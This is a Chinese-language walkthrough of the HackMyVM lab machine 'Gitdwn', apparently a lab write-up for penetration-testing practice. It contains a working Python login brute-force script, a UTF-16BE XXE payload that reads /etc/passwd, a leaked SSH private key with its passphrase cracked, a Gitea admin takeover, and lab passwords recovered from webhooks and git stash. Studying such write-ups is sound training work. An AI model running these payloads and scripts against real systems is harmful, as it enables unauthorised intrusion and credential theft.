靶机信息

靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Gitdwn
靶机作者:Sublarge(@MazeSec)
系统:Linux
难度:Medium
Gitdwn靶机贴近真实生产环境,融合了多种常见的安全漏洞与配置隐患,涵盖前端加密逻辑、XML外部实体(XXE)、内网服务暴露、Git版本控制信息泄露等多个核心考点,既考验渗透测试人员的基础操作能力(如端口扫描、目录枚举、密码爆破),也要求具备一定的代码逆向、漏洞组合利用与细节挖掘思维。
0x01 信息收集 (Reconnaissance)
首先通过 nmap 对目标机进行全端口扫描,确认开放的服务及版本信息。
nmap -p- -sC -sV -T4 $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-27 09:17 UTC
Nmap scan report for cu6l.dsz (172.20.10.2)
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: MazeSec Community - Login
MAC Address: 08:00:27:EC:D2:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds
关键发现:
- 22/tcp: OpenSSH 8.4p1 (Debian)
- 80/tcp: Apache 2.4.62,Web 标题显示为
MazeSec Community - Login。

接下来使用 feroxbuster 针对 Web 服务进行目录扫描。
feroxbuster -u http://$IP --depth=2 -x php,html,txt,zip,bak
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.32.22
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, html, txt, zip, bak]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 271l 537w 5173c http://192.168.32.22/styles.css
200 GET 116l 331w 4742c http://192.168.32.22/login.js
200 GET 2l 1103w 57479c http://192.168.32.22/libs/jsencrypt.min.js
200 GET 1l 415w 48316c http://192.168.32.22/libs/crypto-js.min.js
301 GET 9l 28w 312c http://192.168.32.22/api => http://192.168.32.22/api/
401 GET 1l 1w 42c http://192.168.32.22/api/import.php
200 GET 51l 125w 1998c http://192.168.32.22/
405 GET 1l 3w 48c http://192.168.32.22/api/login.php
301 GET 9l 28w 313c http://192.168.32.22/libs => http://192.168.32.22/libs/
200 GET 51l 125w 1998c http://192.168.32.22/index.html
200 GET 69l 212w 2617c http://192.168.32.22/dashboard.js
200 GET 54l 126w 2087c http://192.168.32.22/dashboard.html
[####################] - 37s 180084/180084 0s found:12 errors:0
[####################] - 37s 180000/180000 4894/s http://192.168.32.22/
[####################] - 0s 180000/180000 2337662/s http://192.168.32.22/api/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 180000/180000 18000000/s http://192.168.32.22/libs/ => Directory listing (add --scan-dir-listings to scan)
扫描结果揭示了 /api/ 目录的存在,其中 import.php 返回 401(未授权),而 login.php 则只允许特定的 HTTP 方法(405),可以推断这里与首页的登录框逻辑一致。
0x02 身份认证绕过 (Initial Access)
前端 login.js 的逻辑分析表明,系统在登录时并未使用简单的明文传输,而是采用了一套混合加密机制:
- 前端生成随机的 AES-128-CBC 密钥和 IV。
- 使用该 AES 密钥加密用户的凭据(账号/密码)。
- 使用硬编码在前端的 RSA 公钥 加密上述 AES 密钥和 IV。
知识点:混合加密 (Hybrid Encryption)
这种设计旨在利用 RSA 的安全性来交换密钥,利用 AES 的高效性来加密数据。在渗透测试中,如果我们可以获取 RSA 公钥并复刻加密逻辑,就能构造合法的加密请求进行暴力破解。
通过分析 dashboard.html,猜测管理员用户名为 admin。基于此,编写一个 Python 脚本来模拟前端加密流程,并对 login.php 发起爆破。
import json
import base64
import os
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad
# 配置信息
TARGET_URL = "http://192.168.32.22/api/login.php"
USERNAME = "admin"
PASSWORD_FILE = "/usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt"
raw_pub_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""
def encrypt_payload(username, password):
rsa_key = RSA.import_key(raw_pub_key.strip())
# 1. 生成随机 AES Key 和 IV
aes_key = os.urandom(16)
iv = os.urandom(16)
# 2. AES 加密 credentials
creds = json.dumps({"username": username, "password": password}).encode()
cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
ct_bytes = cipher_aes.encrypt(pad(creds, 16))
encrypted_data = base64.b64encode(ct_bytes).decode()
# 3. RSA 加密 AES Key 和 IV 的 Base64 形式
aes_key_b64 = base64.b64encode(aes_key)
iv_b64 = base64.b64encode(iv)
cipher_rsa = PKCS1_v1_5.new(rsa_key)
enc_key = base64.b64encode(cipher_rsa.encrypt(aes_key_b64)).decode()
enc_iv = base64.b64encode(cipher_rsa.encrypt(iv_b64)).decode()
return {
"encryptedData": encrypted_data,
"encryptedKey": enc_key,
"encryptedIv": enc_iv
}
def brute_force():
if not os.path.exists(PASSWORD_FILE):
print(f"[-] Error: {PASSWORD_FILE} not found!")
return
print(f"[*] Starting brute force for user: {USERNAME}")
with open(PASSWORD_FILE, 'r') as f:
for password in f:
password = password.strip()
if not password:
continue
# 生成加密负载
payload = encrypt_payload(USERNAME, password)
try:
# 发送 POST 请求
response = requests.post(
TARGET_URL,
json=payload,
headers={'Content-Type': 'application/json'}
)
# 检查结果
result = response.json()
if result.get('success'):
print(f"\n[+] Success! Password found: {password}")
print(f"[+] Token: {result.get('token')}")
return
else:
print(f"[-] Attempt: {password} -> Failed", end='\r')
except Exception as e:
print(f"\n[!] Error during request: {e}")
continue
print("\n[-] Brute force finished. No password found.")
if __name__ == "__main__":
brute_force()

成功获取凭据 admin:hotdog ,并在后台发现了一个 XML 上传接口。

0x03 编码绕过与 XXE 漏洞利用
尝试直接上传 XML 以测试 XXE (XML External Entity) 漏洞,但系统存在过滤拦截。

通过尝试不同的字符编码,发现 UTF-16BE 编码的 XML 可以绕过检测。
编写 payload.xml,注意头部写的是UTF-16BE:
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
然后进行转换,命令如下:
iconv -f utf-8 -t utf-16be payload.xml > payload_utf16be.xml
点击上传文件发送数据包,能读到私钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDw27ezFa
JQTEi2prBXvDkoAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIKFZmdQK4Puv6jNg
RmBH9m190f2g3MycNX8jFmOgp09zAAAAkKiy3siSkGCQqNc+kuLINkyMjUqFEHa8Bs4yPp
9H762IchyF0qhWMHD0Q1t70IpZVh36VY5WSujjNhFabCpiGINGnyFjoIJ1O8HFqjiu6OUO
WJBb4M3+FKM1jl81ZYRHE34Xmg07Sgt+t9zxizCktPdtnMU1Q9kR/rkYtzPOAYRt45v5XD
H/JrGou2sgYK0oOA==
-----END OPENSSH PRIVATE KEY-----

尝试 SSH 私钥登录时发现还需要输入私钥密码,爆破一下:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
最终成功登入 git 用户。
0x04 本地 Gitea 服务横向
获取 git 用户权限后,需要继续寻找提权路径。SUID/sudo 都没什么收获,于是查看当前主机上的网络服务
ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("Gitea",pid=359,fd=13))
tcp LISTEN 0 20 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 20 [::1]:25 [::]:*
可以看到本地 127.0.0.1:3000 上有一个Gitea服务,仅对本机开放。进一步查看启动命令:
ps -fp 37903
UID PID PPID C STIME TTY TIME CMD
git 37903 1 0 10:11 ? 00:00:00 /usr/local/bin/Gitea web --config /etc/Gitea/app.ini
可以看到配置文件路径为/etc/Gitea/app.ini,但是其中的信息并没有什么用

用 linpeas 枚举发现Gitea的数据库/var/lib/Gitea/data/Gitea.db,但是其中的 hash 爆破不出来

看进程发现这个Gitea开在3000端口,端口转发一下
ssh -L 0.0.0.0:3000:localhost:3000 -i id_rsa git@$IP
然后在攻击机浏览器访问本地 3000 端口

首页有注册/登录入口,还可以探索到bilir用户和一个Snake项目。查看提交历史和仓库内容并没有直接有用的信息,bilir在这个仓库中也没做什么修改。

由于我们已经控制了Gitea的服务账户,可以通过Gitea命令行工具重置管理员密码,从而查看更多隐藏信息:
/usr/local/bin/Gitea admin user change-password --config /etc/Gitea/app.ini --username admin --password 1qaz@WSX
另一种方式是操作数据库:
# 连接数据库修改信息
sqlite3 /var/lib/Gitea/data/Gitea.db
# 查看数据表
.tables
# 查看用户表中用户id、名称、是否是管理员的信息
SELECT id, name, is_admin FROM user;
# 更新权限
UPDATE user SET is_admin = 1 WHERE name='vortex5';
在获取管理员权限后,首先可以想到利用 Gitea 的 Webhooks 功能来实现 RCE。
Gitea 的 Webhook 或 Git Hooks 允许在特定事件(如 Push)发生时执行自定义脚本。但在本项目中,由于 Gitea 服务本身就是以 git 用户身份运行的,即使触发反弹 Shell,其安全上下文依然受限于 git 账户,无法直接跨越到 bilir 或 root。
深挖信息,可以在仓库右上角看到 设置 按钮。在设置中继续翻找,发现在 Web 钩子 中配置了一个带Bearer的授权标头:

其中YmlsaXIhQCM=解码后是bilir!@#,也是bilir的ssh密码,使用该密码即可 SSH 登录 bilir 用户。
0x05 Git 仓库凭据泄露提权
发现还是没有sudo -l,看来还是得找凭证

发现有.git目录,那就先看看历史记录
git log --oneline #查看提交历史
git log -p #检查差异
可以看到在历史记录里只有一次提交,是 init
看起来是创建了两个新文件 config.yaml 和 order.py,写入了 pass: [PLACEHOLDER]

然后查看status、branch、commit历史,都没有特别敏感的信息,只是露出了一个数据库用户名。
但是如果我们尝试列出所有的提交哈希,能看到其实提交了三次
git rev-list --all
如果我们只是单纯想找个密码其实很简单,只需要 git grep "pass" $(git rev-list --all) 就行
这里我们来看看作者是用什么方式隐藏的
首先作者提交了初始版本 81dfc8e,也就是我们能在历史记录里看到的那个,密码已经是占位符了
接着作者把密码手动改回了明文,之后使用 git stash “看似”把密码复原到了初始的占位符状态,实际上 git stash 它会保存当时工作区和暂存区的内容,所以敏感信息一样会被记录下来。
那为什么简单查看提交历史找不到呢,因为 stash 不在普通分支提交链上。stash 相当于一个临时草稿,比如项目进行一些临时的修改,如果修改完后不想提交成正式版本,就可以用 stash 把修改先“收起来”,这样项目既是之前干净的状态,也把修改保存下来了。比较特殊的地方在于这个保存实际上并不是缓存,而是真实地创建了一个git对象,而 stash 的两个父提交,一个指的是81dfc8e(工作区修改,未 add 的改动);一个指的是75d20af(index 修改,已经 add 的改动)
bilir@gitdwn:~/code$ git log --graph --oneline --all
* 7cbc900 (refs/stash) On master: temp
|\
| * 75d20af index on master: 81dfc8e init
|/
* 81dfc8e (HEAD -> master) init
bilir@gitdwn:~/code$ git show 7cbc900
commit 7cbc900ef6b9da11dfe791659df8e665c3719f9e (refs/stash)
Merge: 81dfc8e 75d20af
Author: bilir <bilir@gitdwn.dsz>
Date: Sun Nov 16 00:59:57 2025 -0500
On master: temp
diff --cc config.yaml
index aeeba1c,aeeba1c..d8ee8b5
--- a/config.yaml
+++ b/config.yaml
@@@ -2,4 -2,4 +2,4 @@@ database
host: localhost
port: 3306
user: order_user
-- pass: [PLACEHOLDER]
++ pass: mazesec123123
bilir@gitdwn:~/code$ git show 75d20af
commit 75d20afcc07ff9e8079bbfcf356ac61e7a030f02
Author: bilir <bilir@gitdwn.dsz>
Date: Sun Nov 16 00:59:57 2025 -0500
index on master: 81dfc8e init
bilir@gitdwn:~/code$ git show 81dfc8e
commit 81dfc8ef39cb10baabbd61ac4e0a73da96b4d9c1 (HEAD -> master)
Author: bilir <bilir@gitdwn.dsz>
Date: Sun Nov 16 00:59:05 2025 -0500
init
diff --git a/config.yaml b/config.yaml
new file mode 100644
index 0000000..aeeba1c
--- /dev/null
+++ b/config.yaml
@@ -0,0 +1,5 @@
+database:
+ host: localhost
+ port: 3306
+ user: order_user
+ pass: [PLACEHOLDER]
diff --git a/order.py b/order.py
new file mode 100644
index 0000000..af6c235
--- /dev/null
+++ b/order.py
@@ -0,0 +1 @@
+def process_order():\n
这个图看着比较直观:

0x06 总结 (Summary)
渗透流程复盘:
初始访问:逆向前端登录加密逻辑(AES+RSA 混合加密),编写脚本爆破获取admin:hotdog凭据,登录后台发现 XML 上传点;
首次权限获取:利用UTF-16BE 编码绕过 XXE 过滤,读取 SSH 私钥并爆破密码,成功登录git低权限用户;
横向移动:发现本机 3000 端口 Gitea 服务,通过端口转发 + 管理员密码重置 / 数据库提权,获取 Gitea 后台权限,从 Webhooks 泄露bilir用户 SSH 密码;
最终提权:登录bilir用户后,挖掘 Git 仓库 stash 隐藏敏感信息,获取明文密码,登录到root。
知识点:
- 前端加密不可信:硬编码 RSA 公钥、前端明文加密逻辑可被完全复刻,是登录爆破的核心前提;XXE 编码绕过技巧:常规 XML 被拦截时,UTF-16BE 编码可有效绕过 WAF / 过滤规则,读取系统敏感文件;内网服务横向思路:本机监听的服务(如 Gitea)可通过 SSH 端口转发暴露到攻击机,结合服务自身权限漏洞实现横向;Git 信息泄露风险:
git stash临时存储不会显示在常规提交历史中,极易造成密码、密钥等敏感信息泄露;渗透测试核心逻辑:从外网低权限逐步向内网、高权限推进,不放过配置文件、历史记录、隐藏服务等细节。
希望这篇文章能对各位师傅有所启发。Keep Hacking!